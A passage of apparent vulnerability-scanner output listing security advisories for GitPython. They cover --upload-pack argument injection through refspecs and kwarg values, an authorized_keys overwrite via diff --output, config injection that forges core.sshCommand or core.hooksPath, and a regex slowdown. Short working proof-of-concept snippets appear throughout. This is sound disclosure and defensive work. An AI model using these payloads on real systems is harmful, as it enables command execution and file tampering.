refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution", "Description": "## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=\u003ccommand\u003e`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git \u003e= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\") # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack] marker created (RCE) : True\n[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)\n[sibling] same value via git fetch : safe (pull-specific behavior)\n[control] benign refspec : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=\u003cvalue\u003e)` on the default path, where `\u003cvalue\u003e` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=\u003ccommand\u003e; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `\u003ctransport\u003e::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- \u003cremote\u003e --upload-pack=\u003ccommand\u003e; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `\u003ccommand\u003e` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- \u003cremote\u003e '--upload-pack=\u003ccmd\u003e'` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `\u003ctransport\u003e::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: \u003e= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a", "https://github.com/gitpython-developers/GitPython/pull/2247", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239" ], "PublishedDate": "2026-10-27T15:26:50Z", "LastModifiedDate": "2026-10-27T15:26:50Z" }, { "VulnerabilityID": "GHSA-fjr4-x663-mwxc", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-fjr4-x663-mwxc", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7669bfcba2c39cf19b4da9f79591092305b4dadd88f1b90ec73dfa5649524573", "Title": "GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)", "Description": "## Summary\n`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=\u003cpath\u003e` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.\n\n## Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.\n\n## Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.\n\n## Proof of Concept\n```python\n# Key-control:\ncommit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified)\n# Value-control (attacker controls only the ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -\u003e 146 bytes of diff-tree output\n```\n\n## Attack Chain\n1. Entry (value-control): `commit.diff(other=\u003cuser ref\u003e)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree \u003csha\u003e --output=/home/app/.ssh/authorized_keys -r ...` -\u003e git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','\u003csha\u003e','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-fjr4-x663-mwxc", "https://github.com/advisories/GHSA-fjr4-x663-mwxc", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc" ], "PublishedDate": "2026-07-24T16:41:20Z", "LastModifiedDate": "2026-07-24T16:41:21Z" }, { "VulnerabilityID": "GHSA-jm78-9fvv-mhgr", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-jm78-9fvv-mhgr", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0b98ace50ef8aa0a4d8f1b2b4c18540edbae5e8691712461cd2d74a57e9cc621", "Title": "GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)", "Description": "## Summary\nGitPython's config-name validator only neutralizes CR/LF/NUL for the `\"option\"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch \u003ccmd\u003e #` is written as `\\tsshCommand = touch \u003ccmd\u003e # = \u003cvalue\u003e`, which git parses as `core.sshCommand = touch \u003ccmd\u003e` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).\n\n## Root Cause\n`_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == \"section\"`; for the `\"option\"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\\r\\n\\x00]` regex. `write_section` then writes the option name verbatim into `\"\\t%s = %s\\n\"` (config.py:702).\n\n## Impact\nArbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.\n\n## Proof of Concept\n```python\nwith repo.config_writer() as cw:\n cw.set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")\n# git config --get core.sshCommand -\u003e touch /tmp/RCE\n```\n\n## Attack Chain\n1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")`.\n2. Check: `_assure_config_name_safe(option, \"option\")` @ config.py. Guard: regex matches only `[\\r\\n\\x00]`; bracket/quote state machine is gated on `label==\"section\"`. Bypass proof: `=`,`#`,space pass → no `ValueError`.\n3. Sink: `write_section` writes `\"\\tsshCommand = touch /tmp/RCE # = x\\n\"` (config.py:702).\n4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `set_value('core','sshCommand = touch \u003cRCE\u003e #','x')` → no `ValueError`; file line `sshCommand = touch \u003cRCE\u003e # = x`; `git config --get core.sshCommand` → `touch \u003cRCE\u003e` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == \"section\"`; the `\"option\"` label is not covered.\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (validator present verbatim on the latest release tag).\n\n## Suggested Fix\nApply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `\"option\"` label as well, or validate the fully-rendered config line after substitution.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-jm78-9fvv-mhgr", "https://github.com/advisories/GHSA-jm78-9fvv-mhgr", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr" ], "PublishedDate": "2026-08-07T15:46:35Z", "LastModifiedDate": "2026-08-07T15:46:35Z" }, { "VulnerabilityID": "GHSA-m64x-33q8-m5h7", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-m64x-33q8-m5h7", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:eae8b0b3d38e4966a3a5f18f8454dba74036a5777f4b765b577859c4f8fe5aa3", "Title": "GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines", "Description": "### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `\u003c`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' \u003c'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\") # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -\u003e Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -\u003e Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n altz_to_utctz_str,\n from_timestamp,\n+ parse_actor_and_date,\n parse_date,\n tzoffset,\n utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n Actor(\"name last another\", \"some-very-long-email@example.com\"),\n )\n \n+ def test_parse_actor_and_date_malformed_line_is_linear(self):\n+ # A long author line whose trailing epoch/offset is missing or malformed used to make\n+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+ # The parse result must be unchanged; only the time spent reaching it should move.\n+ for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+ line = \"author \" + \" \" * 32000 + tail\n+ start = time.perf_counter()\n+ actor, epoch, offset = parse_actor_and_date(line)\n+ self.assertLess(time.perf_counter() - start, 1.0)\n+ self.assertEqual(epoch, 0)\n+ self.assertEqual(offset, 0)\n+\n+ # Well-formed lines, including one with a long name, still parse exactly as before.\n+ actor, epoch, offset = parse_actor_and_date(\n+ \"author Tom Preston-Werner \u003ctom@mojombo.com\u003e 1191999972 -0700\"\n+ )\n+ self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+ self.assertEqual(epoch, 1191999972)\n+ self.assertEqual(offset, 25200)\n+\n+ actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \"\u003ca@b\u003e 1 -0700\")\n+ self.assertEqual(actor.email, \"a@b\")\n+ self.assertEqual(epoch, 1)\n+\n @ddt.data(\n (\"name\", \"\"),\n (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15", "https://github.com/gitpython-developers/GitPython/pull/2253", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7" ], "PublishedDate": "2026-10-27T15:26:24Z", "LastModifiedDate": "2026-10-27T15:26:25Z" }, { "VulnerabilityID": "GHSA-mv93-w799-cj2w", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.50", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-mv93-w799-cj2w", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:369742307c1378f0827f052b3b21bb5eec8cb1812464cc4d115b2073419a99e1", "Title": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath", "Description": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value — already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # → /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-mv93-w799-cj2w", "https://github.com/advisories/GHSA-mv93-w799-cj2w", "https://github.com/advisories/GHSA-rpm5-65cw-6hj4", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w" ], "PublishedDate": "2026-05-08T23:19:02Z", "LastModifiedDate": "2026-05-08T23:19:02Z" }, { "VulnerabilityID": "GHSA-r9mr-m37c-5fr3", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-r9mr-m37c-5fr3", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9e2cf5330ff1b21e9b2e289fe464fbab7932c114fca60b762ae68ee3582e18bc", "Title": "GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution", "Description": "## Summary\nGitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.\n\n## Root Cause\nThe guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {\"n\":\"--upload-pack=\u003ccmd\u003e\"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=\u003ccmd\u003e']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n# /tmp/ACE created -\u003e ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -\u003e candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n## Attack Chain\n1. Entry: app forwards a user-supplied options dict -\u003e `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})` -\u003e `['-n']` (key-only), not on denylist -\u003e no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -\u003e `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- \u003csrc\u003e \u003cdst\u003e`; git 